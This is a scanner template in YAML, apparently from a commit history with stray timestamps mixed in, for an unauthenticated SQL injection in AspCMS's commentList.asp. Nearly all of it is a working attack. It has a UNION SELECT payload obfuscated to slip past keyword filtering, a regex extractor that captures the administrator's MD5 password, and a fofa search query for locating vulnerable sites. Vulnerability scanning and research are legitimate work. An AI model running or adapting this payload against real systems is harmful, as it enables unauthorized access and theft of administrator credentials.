2023-08-18 07:30:19 +00:00
id : aspcms-commentlist-sqli
info :
name : AspCMS commentList.asp - SQL Injection
author : SleepingBag945
severity : high
description : |
An SQL injection vulnerability has been identified in the commentList.asp file of AspCMS. Exploiting this vulnerability, an attacker can illicitly acquire the administrator's MD5 password.
reference :
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/cms/AspCMS/AspCMS%20commentList.asp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
metadata :
verified : true
fofa-query : app="ASPCMS"
tags : aspcms,sqli,unauth
http :
- method : GET
path :
- "{{BaseURL}}/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user"
extractors :
- type : regex
name : admin_password
group : 1
regex :
- "<div class=\"line2\">(.*?)</div>"
matchers :
- type : dsl
dsl :
2023-08-18 08:15:33 +00:00
- "status_code_1 == 200"
2023-08-18 08:13:42 +00:00
- "contains(body,'clistbox') && contains(body,'UserID,GroupID,LoginName,Password')"
condition : and
